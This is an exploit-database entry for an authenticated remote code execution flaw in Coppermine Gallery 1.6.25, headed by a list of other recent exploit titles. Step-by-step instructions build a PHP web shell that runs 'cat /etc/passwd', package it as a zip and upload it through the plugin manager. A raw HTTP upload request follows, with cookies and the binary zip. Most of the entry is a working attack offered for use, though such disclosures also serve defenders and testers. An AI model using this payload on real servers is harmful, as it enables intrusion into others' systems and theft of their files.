
24 changes to exploits/shellcodes/ghdb Minio 2022-07-29T19-40-48Z - Path traversal Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service Atcom 2.7.x.x - Authenticated Command Injection Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE) Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Credentials Extraction OpenPLC WebServer 3 - Denial of Service Splunk 9.0.5 - admin account take over BoidCMS v2.0.0 - authenticated file upload vulnerability Cacti 1.2.24 - Authenticated command injection when using SNMP options Chitor-CMS v1.1.2 - Pre-Auth SQL Injection Clcknshop 1.0.0 - SQL Injection Coppermine Gallery 1.6.25 - RCE Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) GLPI GZIP(Py3) 9.4.5 - RCE Limo Booking Software v1.0 - CORS Media Library Assistant Wordpress Plugin - RCE and LFI Online ID Generator 1.0 - Remote Code Execution (RCE) Shuttle-Booking-Software v1.0 - Multiple-SQLi Webedition CMS v2.9.8.8 - Blind SSRF WEBIGniter v28.7.23 File Upload - Remote Code Execution Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation Wordpress Sonaar Music Plugin 4.7 - Stored XSS Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
70 lines
No EOL
2.6 KiB
Text
70 lines
No EOL
2.6 KiB
Text
Exploit Title: coppermine-gallery 1.6.25 RCE
|
||
Application: coppermine-gallery
|
||
Version: v1.6.25
|
||
Bugs: RCE
|
||
Technology: PHP
|
||
Vendor URL: https://coppermine-gallery.net/
|
||
Software Link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/v1.6.25.zip
|
||
Date of found: 05.09.2023
|
||
Author: Mirabbas Ağalarov
|
||
Tested on: Linux
|
||
|
||
|
||
2. Technical Details & POC
|
||
========================================
|
||
steps
|
||
|
||
|
||
1.First of All create php file content as <?php echo system('cat /etc/passwd'); ?> and sequeze this file with zip.
|
||
$ cat >> test.php
|
||
<?php echo system('cat /etc/passwd'); ?>
|
||
$ zip test.zip test.php
|
||
|
||
1. Login to account
|
||
2. Go to http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
|
||
3. Upload zip file
|
||
4. Visit to php file http://localhost/cpg1.6.x-1.6.25/plugins/test.php
|
||
|
||
|
||
|
||
poc request
|
||
|
||
POST /cpg1.6.x-1.6.25/pluginmgr.php?op=upload HTTP/1.1
|
||
Host: localhost
|
||
Content-Length: 630
|
||
Cache-Control: max-age=0
|
||
sec-ch-ua:
|
||
sec-ch-ua-mobile: ?0
|
||
sec-ch-ua-platform: ""
|
||
Upgrade-Insecure-Requests: 1
|
||
Origin: http://localhost
|
||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi1AopwPnBYPdzorF
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||
Sec-Fetch-Site: same-origin
|
||
Sec-Fetch-Mode: navigate
|
||
Sec-Fetch-User: ?1
|
||
Sec-Fetch-Dest: document
|
||
Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: en-US,en;q=0.9
|
||
Cookie: cpg16x_data=YTo0OntzOjI6IklEIjtzOjMyOiI0MmE1Njk2NzhhOWE3YTU3ZTI2ZDgwYThlYjZkODQ4ZCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; cpg16x_fav=YToxOntpOjA7aToxO30%3D; d4e0836e1827aa38008bc6feddf97eb4=93ffa260bd94973848c10e15e50b342c
|
||
Connection: close
|
||
|
||
------WebKitFormBoundaryi1AopwPnBYPdzorF
|
||
Content-Disposition: form-data; name="plugin"; filename="test.zip"
|
||
Content-Type: application/zip
|
||
|
||
PK
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>b%Wz½µ}(<28><><EFBFBD>(<28><><EFBFBD><08><1C>test.phpUT <09>ñòödÓòödux<0B><04><><EFBFBD><EFBFBD><04><><EFBFBD><EFBFBD><?php echo system('cat /etc/passwd');?>
|
||
PK
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>b%Wz½µ}(<28><><EFBFBD>(<28><><EFBFBD><08><18><><EFBFBD><EFBFBD><EFBFBD><01><><EFBFBD>¤<C2A4><C281><EFBFBD><EFBFBD>test.phpUT<05>ñòödux<0B><04><><EFBFBD><EFBFBD><04><><EFBFBD><EFBFBD>PK<06><><EFBFBD><EFBFBD><01><01>N<EFBFBD><4E><EFBFBD>j<EFBFBD><6A><EFBFBD><EFBFBD><EFBFBD>
|
||
------WebKitFormBoundaryi1AopwPnBYPdzorF
|
||
Content-Disposition: form-data; name="form_token"
|
||
|
||
50982f2e64a7bfa63dbd912a7fdb4e1e
|
||
------WebKitFormBoundaryi1AopwPnBYPdzorF
|
||
Content-Disposition: form-data; name="timestamp"
|
||
|
||
1693905214
|
||
------WebKitFormBoundaryi1AopwPnBYPdzorF-- |